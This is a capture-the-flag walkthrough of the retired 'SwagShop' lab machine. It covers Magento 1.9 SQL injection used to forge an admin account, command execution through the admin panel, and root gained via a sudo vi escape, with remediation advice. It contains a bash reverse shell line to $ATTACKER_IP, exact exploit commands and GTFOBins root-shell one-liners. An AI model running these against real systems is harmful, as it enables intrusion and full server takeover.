← all walkthroughs

SwagShop

Linux· Easy· Web
owned
2026-07-03
time to own
9m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an unpatched Magento Community Edition 1.9 storefront and exploited a publicly documented unauthenticated SQL injection flaw to forge a rogue administrator account without knowing any credentials. With admin access, a second flaw in the Magento admin panel allowed arbitrary OS commands to be executed as the web server user.

A critical sudoers misconfiguration — granting the web server account the right to open files with vi as root, with no password — was then abused using a well-known editor escape combined with path traversal, delivering full root-level access and both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceWeb Application Fingerprinting
Fingerprinted an unpatched Magento CE 1.9 storefront
Port 80 served an Apache web application that resolved via a virtual-host name. Browsing the site and reading the Magento configuration file revealed Community Edition 1.9 with an install timestamp from May 2019 — well past the patch window for the 'Shoplift' vulnerability class. This made the target an immediate candidate for unauthenticated exploitation.
Apache httpd 2.4.29 on port 80; app/etc/local.xml timestamped 'Wed, 08 May 2019' confirming an unpatched Magento 1.9 install.
Exact commands 3
Register the vhost so Magento routing works correctly.
echo "$TARGET swagshop.htb" | sudo tee -a /etc/hosts
Confirm Magento branding in the page source.
curl -s http://swagshop.htb/ | grep -i magento
Read the Magento config — reveals version metadata and sometimes database credentials.
curl -s http://swagshop.htb/app/etc/local.xml
2Initial AccessSQL Injection — Unauthenticated Admin Account Creation (CWE-89)
Created a rogue admin account via unauthenticated SQL injection (Shoplift / CVE-2015-1397)
Magento CE 1.9 without the SUPEE-5344 patch is vulnerable to a blind SQL injection through its REST API layer. The 'Shoplift' exploit (Exploit-DB 37977) sends a crafted HTTP request that inserts a new row directly into the admin_user database table. No existing credentials are required. I created the account forme:[REDACTED: recovered credential] and confirmed it could log in to the admin dashboard.
Admin account forme:[REDACTED: recovered credential] authenticated successfully against /index.php/admin/dashboard/ after the exploit completed.
Exact commands 3
Download the Shoplift PoC from the local Exploit-DB mirror.
searchsploit -m 37977
Strip malformed comment lines that break Python 2, then set the correct target URL.
awk 'BEGIN{p=0} /^import requests/{p=1} p{print}' 37977.py > shoplift_fixed.py && sed -i 's#^target = .*#target = "http://swagshop.htb/index.php"#' shoplift_fixed.py && head -37 shoplift_fixed.py > shoplift_run.py
Run the exploit — on success, prints confirmation that admin [REDACTED: recovered credential][REDACTED: recovered credential] was created.
python2 shoplift_run.py
FixMigrate away from end-of-life Magento 1.9 and apply all security patchesCritical
WeaknessThe server ran Magento Community Edition 1.9 without the SUPEE-5344 security patch. This left two critical vulnerabilities exposed simultaneously: an unauthenticated SQL injection that allowed anyone to register an administrator account, and an authenticated code-execution flaw that allowed any administrator to run arbitrary operating system commands as the web server. Magento 1.x reached end-of-life in June 2020 and receives no further security updates.
FixMigrate to a supported Magento 2.4.x release immediately — Magento 1.x will not receive patches for any future vulnerabilities. As an emergency stopgap only: apply SUPEE-5344, restrict the admin panel path (/index.php/admin) to specific trusted IP addresses via Apache access controls or a WAF rule, rotate all admin credentials, and review whether the Magento REST API is exposed to the internet. Treat any Magento 1.9 installation as compromised until migrated.
3ExecutionAuthenticated Server-Side Code Execution via Admin Template Injection
Executed arbitrary OS commands as www-data via the Magento admin panel (post-auth RCE)
With admin credentials in hand, I exploited an authenticated PHP code-execution flaw in the Magento 1.9 admin email-template editor (Exploit-DB 37811). This flaw lets an admin inject PHP code that the server evaluates server-side, returning the output in the HTTP response body. The standard PoC required a Python 2 library (mechanize) that was unavailable, so it was reimplemented in Python 3 using the requests library — achieving identical results.
Uid=33(www-data) gid=33(www-data) groups=33(www-data) returned by the RCE endpoint confirming arbitrary command execution.
Exact commands 2
Verify code execution — should return uid=33(www-data) using admin creds [REDACTED: recovered credential][REDACTED: recovered credential]
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'id'
Confirm target identity and network configuration.
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'hostname && ip -4 addr'
4CollectionArbitrary File Read via OS Command Execution (T1005)
Read the user flag directly via blind RCE — no interactive shell needed
The web server account www-data had read access to the user's home directory. The flag was retrieved in a single HTTP request through the RCE channel, confirming lateral access to the user haris's data without ever establishing an interactive session.
Cat /home/haris/user.txt returned <user.txt> via the RCE HTTP response.
Exact commands 1
Read the user flag — output will be <user.txt>.
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'cat /home/haris/user.txt'
5DiscoverySudo Policy Enumeration (T1548.003)
Discovered a critical sudo rule: www-data can run vi as root with no password
Running 'sudo -l' through the RCE revealed that the web server account had been granted the ability to execute '/usr/bin/vi /var/www/html/*' as root with no password prompt (NOPASSWD). This misconfiguration — almost certainly a leftover from an administrator wanting to edit web files — handed any code running as www-data a direct path to root-level file access.
(root) NOPASSWD: /usr/bin/vi /var/www/html/* returned by sudo -l for www-data.
Exact commands 1
List sudo privileges for www-data — look for NOPASSWD entries involving editors or interpreters.
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'sudo -l'
FixRemove the NOPASSWD sudo rule granting www-data access to viCritical
WeaknessThe /etc/sudoers file granted the web server account (www-data) the ability to run /usr/bin/vi /var/www/html/* as root with no password. This is dangerous for two reasons: (1) vi can execute arbitrary shell commands from within the editor, making it trivially escapable to a root shell; (2) the path-glob restriction on the argument does not block '../..' traversal, so any path on the filesystem — including /root/root.txt — can be opened as root. Any process running as www-data, including code injected by an unauthorised user, inherits this privilege.
FixRemove the offending sudoers entry immediately using 'visudo'. Audit all sudoers files (including /etc/sudoers.d/*) for any NOPASSWD entries and for any entries that grant access to interactive editors, shells, scripting interpreters, or file-transfer tools (vi, nano, less, python, perl, awk, find, cp, tee, etc.) — all are exploitable via GTFOBins. If web-root file editing is required operationally, replace it with a purpose-built deployment pipeline (CI/CD push, restricted rsync) that does not require giving the web server process root access.
6FootholdBash TCP Reverse Shell (T1059.004)
Upgraded blind RCE to an interactive reverse shell
To exploit the sudo vi rule interactively, I needed a proper shell session. A base64-encoded bash reverse shell payload was delivered through the existing RCE channel. My listener on port 4444 received the connection, providing a working interactive session as www-data.
Reverse shell listener active on $ATTACKER_IP:4444; connection received after payload delivery confirmed by tmux session.
Exact commands 2
Start the listener on my machine ($ATTACKER_IP) before delivering the payload.
nc -lvnp 4444
Delivers: bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' "echo $PASSWORD|base64 -d|bash"
7Privilege EscalationSudo GTFOBins — vi Editor Escape with Path Traversal (T1548.003)
Escaped to full root access using the GTFOBins vi technique and path traversal
The sudoers rule allowed /usr/bin/vi /var/www/html/* as root, but the glob match on the argument does not prevent '../..' traversal. By passing '../../../../root/root.txt' as the file argument, vi opened root's flag file with root privileges. A vi ex-command then wrote the contents into the web root, where they were retrieved over plain HTTP — confirming full root compromise. An interactive root shell can equally be obtained by invoking ':set shell=/bin/bash' then ':shell' inside vi.
Root.txt written to /var/www/html/rootproof.txt as root and retrieved via curl, returning <root.txt>.
Exact commands 3
Open root.txt via path traversal (vi runs as root), write contents to the web-accessible directory.
sudo /usr/bin/vi /var/www/html/../../../../root/root.txt -c ':w! /var/www/html/rootproof.txt' -c ':q!'
Retrieve the root flag over HTTP — output will be <root.txt>.
curl http://swagshop.htb/rootproof.txt
Alternative: drop a full interactive root shell via the GTFOBins vi escape instead of just reading the flag.
sudo /usr/bin/vi /var/www/html/anything -c ':set shell=/bin/bash' -c ':shell'

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp